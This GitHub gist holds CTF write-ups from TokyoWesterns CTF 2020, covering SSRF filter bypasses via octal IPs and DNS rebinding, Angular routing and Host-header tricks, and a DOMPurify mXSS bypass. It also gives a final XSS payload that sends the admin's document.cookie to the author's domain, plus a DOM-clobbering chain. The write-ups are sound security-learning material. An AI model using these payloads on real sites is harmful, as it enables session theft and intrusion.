Skip to content

Instantly share code, notes, and snippets.

@terjanq
Last active June 14, 2024 14:36
Show Gist options
  • Save terjanq/e2198440c4fdfbdec43e921b600d4a1d to your computer and use it in GitHub Desktop.
Save terjanq/e2198440c4fdfbdec43e921b600d4a1d to your computer and use it in GitHub Desktop.
TokyoWesterns CTF 2020 | writeups by @terjanq

TokyoWesterns CTF 2020 | writeups by @terjanq

Urlcheck v1 (98 points, 160 solves)

The goal was to bypass WAF protection to access local resources.

app.re_ip = re.compile('\A(\d+)\.(\d+)\.(\d+)\.(\d+)\Z')

def valid_ip(ip):
    matches = app.re_ip.match(ip)
    if matches == None:
        return False

    ip = list(map(int, matches.groups()))
    if any(i > 255 for i in ip) == True:
        return False
    # Stay out of my private!
    if ip[0] in [0, 10, 127] \
        or (ip[0] == 172 and (ip[1] > 15 or ip[1] < 32)) \
        or (ip[0] == 169 and ip[1] == 254) \
        or (ip[0] == 192 and ip[1] == 168):
        return False
    return True

... 

@app.route('/admin-status')
def admin_status():
    if flask.request.remote_addr != '127.0.0.1':
        return '&#x1f97a;'
    return app.flag

It can be done with octal IP notation http://0177.0.0.1/admin-status, which yields

TWCTF{4r3_y0u_r34dy?n3x7_57463_15_r34l_55rf!}

Urlcheck v2 (128 points, 108 solves)

The goal was to bypass a WAF again, but this time the IP adress was checked using ipaddress library.

def valid_ip(ip):
    try:
        result = ipaddress.ip_address(ip)
        # Stay out of my private!
        return result.is_global
    except:
        return False

...

def get(url, recursive_count=0):
    r = requests.get(url, allow_redirects=False)
    if 'location' in r.headers:
        if recursive_count > 2:
            return '&#x1f914;'
        url = r.headers.get('location')
        if valid_fqdn(urlparse(url).netloc) == False:
            return '&#x1f914;'
        return get(url, recursive_count + 1)
    return r.text

Because the above code does two DNS resolves, first to check if private and second to request the resource, I simply added two A records to the DNS entry.

Type Hostname Value TTL (seconds)
A double.terjanq.me 127.0.0.1 30
A double.terjanq.me 51.38.138.162 30

After a few attempts I got a flag:

TWCTF{17_15_h4rd_70_55rf_m17164710n_47_4pp_l4y3r:(}

More reliable solution

The way I solved the challenge relies on luck. You either get a correct order of DNS resolves or not. A more reliable way of solving is to set up your own DNS server which will first respond with public IP and then the local one. Since the attack is similar to DNS Rebinding, one can use singularity to set up such a server.

Demo Singularity provides DEMO application, so you can reuse their IP addresses s-35.185.206.165-127.0.0.1-RANDOM-fs-e.d.rebind.it

http://urlcheck2.chal.ctf.westerns.tokyo/check-status?url=http://s-35.185.206.165-127.0.0.1-RANDOM-fs-e.d.rebind.it/admin-status

Note: Replace RANDOM with something RANDOM, it should yield the flag instantly

Angular of the Universe

The challenge was about bypassing the Angular application that was set up behind Nginx reverse proxy. The challenge contained two flags:

  • first was hidden in the angular endpoint /debug/answer restricted by the Nginx and the application
  • second hidden in the express endpoint /api/true-answer which yielded results only for 127.0.0.1 IP addresses.

Flag#1 /debug/answer (139 points, 39 solves)

The goal was to access /debug/answer endpoint which was restricted in two ways:

  • the nginx restricted access to /debug* via:
  location /debug {
    # IP address restriction.
    # TODO: add allowed IP addresses here
    allow 127.0.0.1;
    deny all;
  }
  • the application was rejecting requests containg a debug word via:
    if (process.env.FLAG && req.path.includes('debug')) {
      return res.status(500).send('debug page is disabled in production env')
    }

I managed to score the first blood on this challenge via a simple request to /\%64ebug/answer.

curl --path-as-is 'http://universe.chal.ctf.westerns.tokyo/\%64ebug/answer'

This works because angular recognizes \ as /, and %-decodes strings. Therefore it matched to debug/answer.

TWCTF{ky0-wa-dare-n0-donna-yume-ni?kurukuru-mewkledreamy!}

Flag#2 /api/true-answer (149 points, 34 solves)

As mentioned, the application was displaying the flag if the request came from the loopback network.

  server.get('/api/true-answer', (req, res) => {
    console.log('HIT: %s', req.ip)
    if (req.ip.match(/127\.0\.0\.1/)) {
      res.json(`hello admin, this is true answer: ${process.env.FLAG2}`)
    } else {
      res.status(500).send('Access restricted!')
    }
  });

Because the application was hidden behind Nginx proxy, req.ip was always pointing to the same IP address of the reverse proxy. The application didn't also trust X-Forwarded-* headers so this value couldn't be overridden.

When accessing /q endpoint, the application was displaying contents of /api/answer. It was done on the server-side via the below snippet.

  ngOnInit(): void {
    ...
    // fetch answer via API
    this.service.getAnswer().subscribe((answer: string) => {
      this.answer = answer
    })
  }
}

this.service.getAnswer() was yielding this.http.get('/api/answer').

  getAnswer() {
    return this.http.get('/api/answer')
  }

Apparently angular when doing HTTP requests uses Host header, something around PROTOCOL + HOST + / PATH. Not only that but also follows the redirects. Therefore by providing a custom host and redirecting anything to 127.0.0.1/api/true-answer, we get the flag.

curl 'http://universe.chal.ctf.westerns.tokyo/a' -H 'Host: terjanq.me'

TWCTF{you-have-to-eat-tomato-yume-chan!}

Bonus - insane Path Traveral

When playing with the challenge, I also found a super fancy way of solving the challenge for the second flag.

curl 'http://universe.chal.ctf.westerns.tokyo' -H 'Host: \debug\answer'

When Angular tries to match up the path, it parses the URL created from PROTOCOL + HOST + PATH. Because we injected \debug\answer as the host, the Angular parses http://\debug\answer\ and retrieves the path as /debug/answer. This is an ultimately odd behavior!

The code responsible for this odd behavior can be found here.

 renderOptions.url =
      renderOptions.url || `${req.protocol}://${(req.get('host') || '')}${req.originalUrl}`;

Angular of another Universe (239 points, 8 solves)

This was basically the Flag#1 challenge, but the request was double proxied with Apache and Nginx.

Apache2 -> Nginx -> Express -> Angular

Unlike Nginx, Apache2 is very restrictive towards parsing the HTTP request. The Host header is very restrictive for invalid values and \ character is encoded with %5C. Therefore trick from #Bonus will not work.

Now not only the Nginx forbids /debug* but also Apache. It is blocked via:

  <Location /debug>
    Order Allow,Deny
    Deny from all
  </Location>

While the challenge wasn't supposed to be too hard, it was proven to be so with the little number of solves on it.

Angular allows for secondary segments in the path, which is well explained in the article I found. Although it was clear to me it will be something with this feature, it took us hours on debugging and finding how to exploit this. By diving into Angular source codes, I discovered a primary segment in code, which quickly led me to the solution, which was http://another-universe.chal.ctf.westerns.tokyo/(primary:debug/answer).

This was probably the intended way of solving the previous challenge as well.

After visiting the URL, I got the flag

TWCTF{theremightbeanotheranotheranotherissuesinuniverse}

Bfnote (320 points, 18 solves)

This was a client-side challenge, whose goal was to steal the admin's cookie.

DOMPurify Bypass

The application was protected by DOMPurify in version 2.0.16 which during CTF happened to have a complete bypass in Chrome. A few days ago, Michał Bentkowski disclosed a very cool mXSS bypass for the sanitizer which abused strange behaviors of <math> elements which initial support has been recently added to Chrome.

The bypass was:

<form><math><mtext></form><form><mglyph><style><img src=x onerror=alert()>

The fix seemed very weak against such powerful mutation, which only removed <math> elements containing <form> children. I fuzzed other elements with the following snippet:

var elms = ["a","abbr","acronym","address","area","article","aside","audio","b","bdi","bdo","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","content","data","datalist","dd","decorator","del","details","dfn","dir","div","dl","dt","element","em","fieldset","figcaption","figure","font","footer","form","h1","h2","h3","h4","h5","h6","head","header","hgroup","hr","html","i","img","input","ins","kbd","label","legend","li","main","map","mark","marquee","menu","menuitem","meter","nav","nobr","ol","optgroup","option","output","p","picture","pre","progress","q","rp","rt","ruby","s","samp","section","select","shadow","small","source","spacer","span","strike","strong","style","sub","summary","sup","table","tbody","td","template","textarea","tfoot","th","thead","time","tr","track","tt","u","ul","var","video","wbr"];

for(let el of elms){
    let p = `<form><math><mtext></form><${el}><mglyph><style><img>`;
    document.body.innerHTML = p;
    let old = document.body.innerHTML;
    document.body.innerHTML = old;
        if(document.body.innerHTML != old){
            console.log(p);
        }
}

and it yielded another mutation with <table> and which can be simplified to:

<math><mtext><table><mglyph><style><img src=x onerror=alert()>

This was a 0day for a split second (maybe a negative number :P), because seconds later, it was already fixed and announced in a tweet.

Too bad someone has tweeted it publicly on Twitter and broke the whole challenge...

The server restricted usage of some characters but crafting the payload was quite easy. My final payload sent to admin was:

<math><mtext><table><mglyph><style><img src=x onerror=location=location.pathname+/terjanq.me/+document.cookie>

which leaked the cookies to my server, where also was the flag:

TWCTF{reCAPTCHA_Oriented_Programming_with_XSS!}

Intended solution

By looking at the flag, it clearly was not the intended solution so I spent some time finding another way.

The application was simulating the Brainf*ck decompiler and displayed the output to the page. However, it was protected by two mechanisms:

  • before displaying it to the DOM, < and > were replaced with their HTML entity equivalents.
  // no xss please
output = output.replaceAll('<', '&lt;').replaceAll('>', '&gt;')
writeOutput();
  • writeOutput function was protected by the following snippet.
function writeOutput() {
  if (statusCode !== 3) {
    if (CONFIG.unsafeRender) {
      document.getElementById('output').innerHTML = output;
    } else {
      document.getElementById('output').innerText = output;
    }
  }
}

Not only the application had to execute properly, but also CONFIG.unsafeRender had to be defined, to have any chances for XSS. However, if the application exited successfully, the output would not contain <, > characters.

Since the code was much more complicated than this, I included the whole code in the snippet bf.js.

ReCAPTCHA for the rescue

There is an interesting feature in Google's reCAPTCHA that allows us to specify a function callback via data-callback attribute on g-recaptcha button. This, when clicked on the button, will invoke the specified callback function. From the spec, we can also notice data-error-callback which is explained as:

Optional. The name of your callback function, executed when reCAPTCHA encounters an error (usually network connectivity) and cannot continue until connectivity is restored. If you specify a function here, you are responsible for informing the user that they should retry.

By providing an invalid sitekey, it will instantly trigger an alert via:

<button class="g-recaptcha" data-sitekey="1337" data-error-callback="alert">

With that, we could potentially invoke the writeOutput function even if the program hasn't exited properly. And because of that, output could contain unreplaced < and > characters, because the replaceAll function will never be called.

CONFIG clobbering

The CONFIG.unsafeRender check is easy to bypass with DOM Clobbering.

I did it via:

<a id=CONFIG name=unsafeRender>
<a id=CONFIG>

The solution

Although the idea for the solution was simple, the execution of it was proven to be a little harder. After the program exits with an exception, the statusCode is set to 3 which we need to change back to something different. It can be done in two ways:

  1. By calling initProgram which sets it back to 0.
  2. By calling runProgram which sets it to 1 and then runs the program.

We can perform both steps by injecting two reCAPTCHA buttons:

<button class="g-recaptcha" data-sitekey="1337" data-error-callback="runProgram">
<button class="g-recaptcha" data-sitekey="1337" data-error-callback="writeOutput">

The former method was problematic because if the program finished before writeOutput was invoked, the statusCode would once again be set to 3. To make it work, the program would have to be slowed down by some expensive operations.

The latter looks promising but has one downside. After initiating the program, it will also invoke the below snippet, which resets the prepared CONFIG clobbering in the payload because of innerText method.

  program = document.getElementById('program').innerText;
  document.getElementById('program').innerHTML = DOMPurify.sanitize(program).toString();

However, I managed to bypass the innerText with a trick <<u>u>123 which after the first iteration will have u>123 underscored, and after the second one will have 123. This could be used to redefine clobbered properties.

With that, I crafted the following final payload:

----[---->+<]>---.--[->++<]>-.+.+++++.[->+++<]>+.-------.[->+++<]>.+[----->+<]>-.-.--.+++.--------------.+++.[++++>-----<]>.[----->++++<]>.+++++++++++.------------.-[--->+<]>-.--------.--------.+++++++++.++++++.[++>---<]>.[--->++<]>+++.-----.---------.+++++++++++.+++[->+++<]>.--[->+++<]>-.+++++++.-[--->++<]>.+++[->+++<]>.+++++++++++++.--------.---------.+++++++++++++.+++.-[->+++++<]>-.------.+[-->+++<]>-.
<<a id=CONFIG name=unsafeRender>a id=CONFIG name=unsafeRender>>
<<a id=CONFIG>a id=CONFIG>>
<button class="g-recaptcha" data-sitekey="123" data-error-callback="initProgram">
<button class="g-recaptcha" data-sitekey="1234" data-error-callback="writeOutput">

<!-- repeat to have a better chance for the correct order of calls -->
<button class="g-recaptcha" data-sitekey="1234" data-error-callback="writeOutput">
<button class="g-recaptcha" data-sitekey="1234" data-error-callback="writeOutput">
<button class="g-recaptcha" data-sitekey="1234" data-error-callback="writeOutput">

which when visiting the https://bfnote.chal.ctf.westerns.tokyo/?id=e6857fd3f5d53d37 URL, rewrites the document to /terjanq/.

The first part of the payload is just <style/onload=document.write(/terjanq/)> encoded in Brainf*ck.

let program, pc, buf, p;
let statusCode = 0; // 0: not running, 1: running, 2: exit successfully, 3: exit with an error
let output = '';
let steps = 0;
const maxSteps = 1000000;
function checkStep() {
steps++;
if (steps > maxSteps) {
throw new Error('maximum steps exceeded')
}
}
function pinc() {
p++;
}
function pdec() {
p--;
}
function inc() {
buf[p]++;
}
function dec() {
buf[p]--;
}
function putc() {
output += String.fromCharCode(buf[p]);
}
function getc() {
console.err('not implemented');
}
function lbegin() {
if (buf[p] === 0) {
let i = pc+1;
let depth = 1;
while (i < program.length) {
if (program[i] === '[') {
depth++;
}
if (program[i] === ']') {
depth--;
if (depth === 0) {
break;
}
}
i++;
checkStep();
}
if (depth === 0) {
pc = i;
}
else {
throw new Error('parenthesis mismatch')
}
}
}
function lend() {
if (buf[p] !== 0) {
let i = pc-1;
let depth = 1;
while (0 <= i) {
if (program[i] === ']') {
depth++;
}
if (program[i] === '[') {
depth--;
if (depth === 0) {
break;
}
}
i--;
checkStep();
}
if (depth === 0) {
pc = i;
}
else {
throw new Error('parenthesis mismatch')
}
}
}
function writeOutput() {
if (statusCode !== 3) {
if (CONFIG.unsafeRender) {
document.getElementById('output').innerHTML = output;
} else {
document.getElementById('output').innerText = output;
}
}
}
function initProgram() {
// load program
program = document.getElementById('program').innerText;
document.getElementById('program').innerHTML = DOMPurify.sanitize(program).toString();
// initialize
pc = 0;
buf = new Uint8Array(30000);
p = 0;
statusCode = 0;
}
function runProgram() {
statusCode = 1;
try {
while (pc < program.length) {
switch (program[pc]) {
case '>':
pinc();
break;
case '<':
pdec();
break;
case '+':
inc();
break;
case '-':
dec();
break;
case '.':
putc();
break;
case ',':
getc(); // not implemented
break;
case '[':
lbegin();
break;
case ']':
lend();
break;
case '=':
console.log('=)');
break;
case '/':
console.log(':/');
break;
case ' ':
break;
default:
throw new Error(`invalid op: ${program[pc]}`)
}
pc++;
checkStep();
}
CONFIG = window.CONFIG || {
unsafeRender: false
};
statusCode = 2;
}
catch {
statusCode = 3;
return;
}
// no xss please
output = output.replaceAll('<', '&lt;').replaceAll('>', '&gt;')
writeOutput();
}
window.addEventListener('DOMContentLoaded', function() {
initProgram();
runProgram();
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment